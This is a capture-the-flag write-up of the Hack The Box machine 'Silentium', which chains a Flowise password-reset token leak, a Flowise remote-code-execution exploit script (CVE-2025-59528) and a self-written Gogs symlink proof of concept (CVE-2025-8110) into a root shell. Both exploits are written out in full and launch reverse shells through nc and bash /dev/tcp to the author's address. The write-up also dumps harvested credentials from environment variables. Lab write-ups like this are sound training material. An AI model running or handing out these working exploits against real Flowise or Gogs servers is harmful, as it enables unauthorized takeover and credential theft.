mairon $ echo 10.129.35.133 silentium.htb | sudo tee -a /etc/hosts
mairon $ rustscan -a silentium.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV | tee ~/htb/sil
entium/rustscan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.35.133:22
Open 10.129.35.133:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.35.133
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-13 19:25 +0200
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
Initiating Connect Scan at 19:25
Scanning 10.129.35.133 [2 ports]
Discovered open port 80/tcp on 10.129.35.133
Discovered open port 22/tcp on 10.129.35.133
Completed Connect Scan at 19:25, 0.01s elapsed (2 total ports)
Initiating Service scan at 19:25
Scanning 2 services on 10.129.35.133
Completed Service scan at 19:25, 6.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.35.133.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.60s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.05s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
Nmap scan report for 10.129.35.133
Host is up, received user-set (0.012s latency).
Scanned at 2026-04-13 19:25:31 CEST for 7s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:25
Completed NSE at 19:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
mairon $ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://silentium.htb --ad | tee ~/htb/silentium/gobuster-vhost.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://silentium.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
===============================================================
Finished
===============================================================
mairon $ echo 10.129.35.133 staging.silentium.htb | sudo tee -a /etc/hosts

This shows a login page, of a Flowise AI portal:

mairon $ curl http://staging.silentium.htb/ -s | head
<!DOCTYPE html>
<html lang="en">
    <head>
        <title>Flowise - Build AI Agents, Visually</title>
        <link rel="icon" href="favicon.ico" />
        <!-- Meta Tags-->
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <meta name="theme-color" content="#2296f3" />
        <meta name="title" content="Flowise - Build AI Agents, Visually" />

Now, it was not all clear to me what version of Flowise was running, but knowing this is an Easy box, there’s a high probability there’s a relatively new CVE granting RCE. There are 2 CVEs with 2 public exploits:

which can be chained together to gain RCE.

The password reset involves some manual fiddling, requesting a passwd reset, which exposes the reset token (for crying out loud) we can exploit.

First, we need a valid user, though. Now, http://silentium.htb/#team exposes a few key names, which the password reset function on the staging vhost allows for easy enumeration. So, for instance, Ben, is easily validated as a valid user by trying a password reset and entering ben@silentium.htb. The password reset function replies: "Password reset instructions sent to the email.". Conversely, if the user is invalid, it simply echoes "User Not Found".

Now let’s exploit the passwd reset function:

mairon $ curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
             -H "Content-Type: application/json" \
             -d '{"user":{"email":"ben@silentium.htb"}}' -s | jq
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$hdAP/R539IumXI6k0EzLiOmx8DeqvkyaEpNj3Mw1e3kGLVyLl4WjC",
    "tempToken": "qI2DRethKxJG73s7b3es7ZzVp8NiXkxVknn5GTHc5F2d6vLB6TxvC1JYXpVjImBc",
    "tokenExpiry": "2026-04-13T18:36:30.737Z",
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "updatedDate": "2026-04-13T18:21:30.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

Now let’s (mis)use that tempToken:

mairon $ curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
                        -H "Content-Type: application/json" \
                        -d '{
                          "user":{
                            "email":"ben@silentium.htb",
                            "tempToken":"qI2DRethKxJG73s7b3es7ZzVp8NiXkxVknn5GTHc5F2d6vLB6TxvC1JYXpVjImBc",
                            "password":"NewSecurePassword123!"
                          }
                        }' -s | jq
{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$ShJbnB5w3ftc1Sbv4onBqewBZGe8czB1mn.ts8V4aarRNbwf/WZRC",
    "tempToken": "",
    "tokenExpiry": null,
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "updatedDate": "2026-04-13T18:21:42.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

Heh, it even leaks the hashed passwd.

Anyway, we now got access to the Flowise portal. From here we can login, but we can also abuse CVE-2025-59528 and pop a shell. I needed to make a few slight changes (highlighted):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-59528

import requests
from argparse import ArgumentParser

banner = r"""
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  
                
                by nltt0
"""

try:
    parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
    parser.add_argument('-e', '--email', required=True, help='Registered email')
    parser.add_argument('-p', '--password', required=True)
    parser.add_argument('-u', '--url', required=True)
    parser.add_argument('-c', '--cmd', required=True)

    args = parser.parse_args()
    email = args.email
    password = args.password
    url = args.url
    cmd = args.cmd

    def login(email, url):
        session = session()
        url_format = "{}/api/v1/auth/login".format(url)
        headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
        data={"email": email, "password": password}
        r = session.post(url_format, headers=headers, json=data)
        return session, r   
        
    def rce(email, url, password, cmd):
        session, status_code = login(email, url)
        url_format = "{}/api/v1/node-load-method/customMCP".format(url)
        command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'

        data = {
            "loadMethod": "listActions",
            "inputs": {
                "mcpServerConfig": command
            }
        }

        r = session.post(url_format, json=data)

        if r.status_code == 401:
            session.headers["x-request-from"] = "internal"
            session.post(url_format, json=data)

        print(f"[x] Command executed [{cmd}]")    

    rce(email, url, password, cmd)

except Exception as e:
    print('Error in {}'.format(e))

Then we can pop a shell like so:

mairon $ python rce.py --email ben@silentium.htb --password NewSecurePassword123! --url http://staging.silentium.htb --cmd "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.189 1337 >/tmp/f"
mairon 42s $ rlwrap ncat -lnvp 1337
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.35.231:42477.
/ # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Yeah, I was surprised as well. Sadly, this appears to be a very limited shell, but I did find some interesting stuff. This was my first rabbit hole:

/ # ls -la /root
total 16
drwx------    1 root     root          4096 Apr  8 09:41 .
drwxr-xr-x    1 root     root          4096 Apr  8 15:14 ..
-rw-------    1 root     root             9 Jan 29 21:22 .ash_history
drwxr-xr-x    3 root     root          4096 Apr 13 19:03 .flowise
/ # ls -la /root/.flowise
total 396
drwxr-xr-x    3 root     root          4096 Apr 13 19:03 .
drwx------    1 root     root          4096 Apr  8 09:41 ..
-rw-r--r--    1 root     root        385024 Apr 13 19:03 database.sqlite
-rw-r--r--    1 root     root            32 Jan 29 20:08 encryption.key
drwxr-xr-x    2 root     root          4096 Apr  8 09:41 uploads
/ # cd /root/.flowise
~/.flowise # ls
database.sqlite
encryption.key
uploads
~/.flowise # sqlite3 database.sqlite "SELECT * FROM user;"
e26c9d6c-678c-4c10-9e36-01813e8fea73|admin|ben@silentium.htb|$2a$05$Ycg8vP0UXAEE4Ow0KcgS2.Qdl2bQ8B9Lm2BDBL1coXsDAYrfjXZJ6||2026-04-13 19:11:50.728|active|2026-01-29 20:14:57|2026-04-13 18:57:04|e26c9d6c-678c-4c10-9e36-01813e8fea73|e26c9d6c-678c-4c10-9e36-01813e8fea73

Seems like bcrypt, so I was discouraged here, but tried anyway:

mairon $ hashcat -m 3200 '$2a$05$Ycg8vP0UXAEE4Ow0KcgS2.Qdl2bQ8B9Lm2BDBL1coXsDAYrfjXZJ6' /usr
/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --potfile-disable

This did not crack, but while enumerating further, I found loot in the shell environment:

~/.flowise # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
OLDPWD=/
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/root/.flowise
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

That SMTP_PASSWORD=r04D!!_R4ge granted me access over SSH as ben:

mairon $ ssh -o "UserKnownHostsFile=/dev/null" ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.35.231)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
+--[ED25519 256]--+
|         ... +.o.|
|        ..+ *o+ =|
|       o.o =++.B |
|      +.oooo*.O.*|
|     . .So E B.@.|
|        .oo + = .|
|         . . .   |
|                 |
|                 |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Apr 13 07:24:56 PM UTC 2026

  System load:           0.08
  Usage of /:            82.8% of 13.37GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.129.35.231
  IPv6 address for eth0: dead:beef::250:56ff:fe94:f72e


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Wed Apr  8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ cat user.txt
5ca762c961fcc742b64aae86b8fea87d

From here we can find a Gogs service running on localhost:

ben@silentium:~$ ss -tulpen
Netid       State        Recv-Q       Send-Q             Local Address:Port                Peer Address:Port       Process
udp         UNCONN       0            0                     127.0.0.54:53                       0.0.0.0:*           uid:992 ino:6650 sk:1 cgroup:/system.slice/systemd-resolved.service <->
udp         UNCONN       0            0                  127.0.0.53%lo:53                       0.0.0.0:*           uid:992 ino:6648 sk:2 cgroup:/system.slice/systemd-resolved.service <->
udp         UNCONN       0            0                        0.0.0.0:68                       0.0.0.0:*           ino:9056 sk:3 cgroup:/system.slice/ifup@eth0.service <->
tcp         LISTEN       0            4096                   127.0.0.1:1025                     0.0.0.0:*           ino:12713 sk:4 cgroup:/system.slice/docker.service <->
tcp         LISTEN       0            4096                   127.0.0.1:42447                    0.0.0.0:*           ino:10692 sk:5 cgroup:/system.slice/containerd.service <->
tcp         LISTEN       0            4096               127.0.0.53%lo:53                       0.0.0.0:*           uid:992 ino:6649 sk:6 cgroup:/system.slice/systemd-resolved.service <->
tcp         LISTEN       0            4096                   127.0.0.1:8025                     0.0.0.0:*           ino:12714 sk:7 cgroup:/system.slice/docker.service <->
tcp         LISTEN       0            4096                     0.0.0.0:22                       0.0.0.0:*           ino:8592 sk:8 cgroup:/system.slice/ssh.socket <->
tcp         LISTEN       0            511                      0.0.0.0:80                       0.0.0.0:*           ino:10625 sk:9 cgroup:/system.slice/nginx.service <->
tcp         LISTEN       0            4096                   127.0.0.1:3000                     0.0.0.0:*           ino:13696 sk:a cgroup:/system.slice/docker.service <->
tcp         LISTEN       0            4096                   127.0.0.1:3001                     0.0.0.0:*           ino:11528 sk:b cgroup:/system.slice/gogs.service <->
tcp         LISTEN       0            4096                  127.0.0.54:53                       0.0.0.0:*           uid:992 ino:6651 sk:c cgroup:/system.slice/systemd-resolved.service <->
tcp         LISTEN       0            4096                        [::]:22                          [::]:*           ino:9253 sk:d cgroup:/system.slice/ssh.socket v6only:1 <->
tcp         LISTEN       0            511                         [::]:80                          [::]:*           ino:10626 sk:e cgroup:/system.slice/nginx.service v6only:1 <->

Doesn’t seem to be installed via a usual package:

ben@silentium:~$ apt policy gogs
N: Unable to locate package gogs

Seems to be custom installed in /opt:

ben@silentium:~$ cat /etc/systemd/system/gogs.service
[Unit]
Description=Gogs Git Service
After=network.target

[Service]
Type=simple
User=root
WorkingDirectory=/opt/gogs/gogs
ExecStart=/opt/gogs/gogs/gogs web
Restart=always
Environment=USER=root
Environment=HOME=/root

[Install]
WantedBy=multi-user.target

Anyway, let’s port forward and browse:

mairon $ ssh -o "UserKnownHostsFile=/dev/null" -L 3001:127.0.0.1:3001 ben@silentium.htb

There’s an open registration function on the web interface. I registered as duif:duif123, hoping to find some more clues. I did not, but seeing as this is an Easy box, I decided to, again, look for any obvious fairly recent CVEs grating RCE.

I found CVE-2025-8110, which has a few PoCs online, but I decided to create my own, using GitPython:

#!/usr/bin/env python3
"""
Gogs CVE-2025-8110 PoC
"""

import argparse
import base64
import os
import shutil
import tempfile
from urllib.parse import urlparse

import requests
import urllib3
from git import Repo

urllib3.disable_warnings()


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", required=True)
    p.add_argument("-U", "--username", required=True)
    p.add_argument("-P", "--password", required=True)
    p.add_argument("-t", "--token", required=True)
    p.add_argument("-l", "--host", required=True)
    p.add_argument("-p", "--port", required=True)
    return p.parse_args()


def build_clone_url(base_url: str, user: str, password: str, repo: str) -> str:
    u = urlparse(base_url)
    return (
        f"{u.scheme}://{user}:{password}@"
        f"{u.netloc}{u.path.rstrip('/')}/{user}/{repo}.git"
    )


def clone_and_commit(clone_url: str, workdir: str) -> None:
    shutil.rmtree(workdir, ignore_errors=True)
    repo = Repo.clone_from(clone_url, workdir)

    link = os.path.join(workdir, "link")
    if not os.path.exists(link):
        os.symlink(".git/config", link)

    repo.index.add(["link"])
    repo.index.commit("poc")
    repo.remote().push()


def main() -> None:
    args = parse_args()

    session = requests.Session()
    session.verify = False
    session.headers.update(
        {
            "Authorization": f"token {args.token}",
            "Content-Type": "application/json",
        }
    )

    repo_name = os.urandom(6).hex()
    repo_api = f"{args.url}/api/v1/repos/{args.username}/{repo_name}"

    # 1. Create repo
    session.post(
        f"{args.url}/api/v1/user/repos",
        json={"name": repo_name, "auto_init": True, "readme": "Default"},
    ).raise_for_status()

    # 2. Clone + push
    with tempfile.TemporaryDirectory(prefix="gogs-poc-") as workdir:
        clone_url = build_clone_url(args.url, args.username, args.password, repo_name)
        clone_and_commit(clone_url, workdir)

        # 3. Get blob SHA
        sha = session.get(f"{repo_api}/contents/link").json()["sha"]

        # 4. Config overwrite
        revshell = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1'"
        malicious_config = f"""\
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    sshCommand = {revshell}
[remote "origin"]
    url = git@localhost:duif/duif.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
"""

        encoded = base64.b64encode(malicious_config.encode()).decode()

        r = session.put(
            f"{repo_api}/contents/link",
            json={
                "sha": sha,
                "message": "poc",
                "content": encoded,
            },
        )

        print(r.status_code, r.text)


if __name__ == "__main__":
    main()

When logged into Gogs, go to http://localhost:3001/user/settings/applications, and create a new token. Then launch the PoC like so:

mairon $ python poc3.py -u http://localhost:3001 -U duif -P duif123 -t 2884287e37a6e439f6b663044bc3014e61d4dd38 -l 10.10.15.189 -p 1337

We get a root shell:

mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.36.92:52510.
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2# cat ~/root.txt
cat ~/root.txt
c256fa1ecc384c698ed19451867311df
pwned